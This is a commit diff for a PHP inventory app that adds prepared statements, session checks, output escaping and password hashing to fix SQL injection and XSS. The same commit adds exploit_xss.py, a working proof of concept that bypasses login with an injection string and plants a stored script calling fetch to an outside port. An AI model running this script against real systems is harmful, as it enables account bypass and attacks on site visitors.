Fix security vulnerabilites: SQL injection, XSS, and credential hardening

.gitignore

@@ -0,0 +1 @@
+

additem.php

@@ -1,22 +1,27 @@
 <?php
-
+session_start();
+if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
+    header("Location: index.html");
+    exit();
+}
+mysqli_report(MYSQLI_REPORT_OFF);
 $item_name = "";
 $item_price = "";
 
 $db = mysqli_connect('localhost', 'root', '', 'inventorymanagement');
 if (mysqli_connect_errno()) {
-  echo "Failed to connect to MySQL: " . mysqli_connect_error();
+  die("Connection failed. Please try again later.");
 }
 
 if (isset($_POST['add'])) {
   echo "connect";
-  $item_name = mysqli_real_escape_string($db, $_POST['product_name']);
-  $item_price = mysqli_real_escape_string($db, $_POST['price']);
-  $quant = mysqli_real_escape_string($db, $_POST['quant']);
+  $item_name = $_POST['product_name'];
+  $item_price = $_POST['price'];
+  $quant = $_POST['quant'];
 
-  $query = "INSERT INTO product (product_name,price,quantity) 
-  			  VALUES('$item_name','$item_price','$quant')";
-  if (mysqli_query($db, $query)) {
+  $stmt = mysqli_prepare($db, "INSERT INTO product (product_name,price,quantity) VALUES(?,?,?)");
+  mysqli_stmt_bind_param($stmt, "sss", $item_name, $item_price, $quant);
+  if (mysqli_stmt_execute($stmt)) {
     echo "<script>alert('Successfully stored');</script>";
 
   } else {

config.php

@@ -1,7 +1,15 @@
 <?php
+if (session_status() === PHP_SESSION_NONE) {
+    session_start();
+}
+if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
+    header("Location: index.html");
+    exit();
+}
+mysqli_report(MYSQLI_REPORT_OFF);
 $db = mysqli_connect('localhost', 'root', '', 'inventorymanagement');
 if (mysqli_connect_errno()) {
-    echo "Failed to connect to MySQL: " . mysqli_connect_error();
+    die("Connection failed. Please try again later.");
 }
 ?>
 

delete.php

@@ -1,17 +1,24 @@
 <?php
+session_start();
+if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
+    header("Location: index.html");
+    exit();
+}
+mysqli_report(MYSQLI_REPORT_OFF);
 $db = mysqli_connect('localhost', 'root', '', 'inventorymanagement');
 if (mysqli_connect_errno()) {
-    echo "Failed to connect to MySQL: " . mysqli_connect_error();
+    die("Connection failed. Please try again later.");
 }
 ?>
 <?php
 
-if (isset($_GET['id'])) {
-
-    $result = mysqli_query($db, "DELETE FROM product WHERE product_id=" . $_GET['id']);
-    if ($result == true)
-        echo "sucess";
-    header("Location:table.php");
+if (isset($_GET['id']) && is_numeric($_GET['id']) && (int)$_GET['id'] > 0) {
+    $id = (int)$_GET['id'];
+    $stmt = mysqli_prepare($db, "DELETE FROM product WHERE product_id = ?");
+    mysqli_stmt_bind_param($stmt, "i", $id);
+    mysqli_stmt_execute($stmt);
 }
+header("Location: table.php");
+exit();
 
 ?>

edit.php

@@ -1,4 +1,9 @@
 <?php
+session_start();
+if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
+    header("Location: index.html");
+    exit();
+}
 
 include('config.php');
 

exploit_xss.py

@@ -0,0 +1,32 @@
+import requests
+
+s = requests.Session()
+
+print("logging in with sql injection...")
+r = s.post("http://localhost:8080/login.php", data={
+    "email": "' OR '1'='1'-- -",
+    "password": "test"
+})
+
+if "table.php" in r.url:
+    print("login bypassed")
+else:
+    print("login failed, is the app running?")
+    exit()
+
+print("injecting xss payload")
+payload = "<script>fetch('http://localhost:9000/?c='+document.domain)</script>"
+s.post("http://localhost:8080/additem.php", data={
+    "product_name": payload,
+    "price": "1",
+    "quant": "1",
+    "add": "submit"
+})
+
+print("checking if payload is in the page...")
+r = s.get("http://localhost:8080/table.php")
+
+if "<script>fetch" in r.text:
+    print("payload stored, anyone who visits table.php will trigger it")
+else:
+    print("payload not found")

inventorymanagement.sql

@@ -24,7 +24,7 @@ SET time_zone = "+00:00";
 -- --------------------------------------------------------
 
 --
--- Table structure for table `product`
+-- Table structure for table `product`  
 --
 
 CREATE TABLE `product` (

login.php

@@ -1,24 +1,27 @@
 <?php
-$host = "localhost";
-$user = "root";
-$password = '';
-$db_name = "inventorymanagement";
+session_start();
+mysqli_report(MYSQLI_REPORT_OFF);
 
-$con = mysqli_connect($host, $user, $password, $db_name);
+$con = mysqli_connect('localhost', 'root', '', 'inventorymanagement');
 if (mysqli_connect_errno()) {
-    die("Failed to connect with MySQL: " . mysqli_connect_error());
+    die("Connection failed. Please try again later.");
 }
 
 $email = $_POST['email'];
-$password = $_POST['password'];
+$user_password = $_POST['password'];
 
-$sql = "select * from user where email = '$email' and password = '$password'";
-$result = mysqli_query($con, $sql);
+$stmt = mysqli_prepare($con, "SELECT * FROM user WHERE email = ?");
+mysqli_stmt_bind_param($stmt, "s", $email);
+mysqli_stmt_execute($stmt);
+$result = mysqli_stmt_get_result($stmt);
 $row = mysqli_fetch_array($result, MYSQLI_ASSOC);
 $count = mysqli_num_rows($result);
 
-if ($count == 1) {
-    require("./table.php");
+if ($count == 1 && password_verify($user_password, $row['password'])) {
+    $_SESSION['logged_in'] = true;
+    $_SESSION['email'] = $row['email'];
+    header("Location: table.php");
+    exit();
 } else {
     echo "<h1> Login Failed.</h1>";
 }

table.php

@@ -1,3 +1,10 @@
+<?php
+session_start();
+if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
+    header("Location: index.html");
+    exit();
+}
+?>
 <!doctype html>
 <html>
 <head>
@@ -50,7 +57,8 @@
                 </thead>
                 <tbody>
                     <?php
-                    $conn = new mysqli("localhost", "root", "", "inventorymanagement");
+                    require_once(__DIR__ . '/config.php');
+                    $conn = $db;
                     $sql = "SELECT * FROM product";
                     $result = $conn->query($sql);
                     $count = 0;
@@ -64,13 +72,13 @@
                             <?php echo $count ?>
                         </th>
                         <th>
-                            <?php echo $row["product_name"] ?>
+                            <?php echo htmlspecialchars($row["product_name"], ENT_QUOTES, 'UTF-8') ?>
                         </th>
                         <th>
-                            <?php echo $row["price"] ?>
+                            <?php echo htmlspecialchars($row["price"], ENT_QUOTES, 'UTF-8') ?>
                         </th>
                         <th>
-                            <?php echo $row["quantity"] ?>
+                            <?php echo htmlspecialchars($row["quantity"], ENT_QUOTES, 'UTF-8') ?>
                         </th>
                         <th> 
                             <a href="up" Edit</a><a href="edit.php?id=<?php echo $row["product_id"] ?>">Edit</a>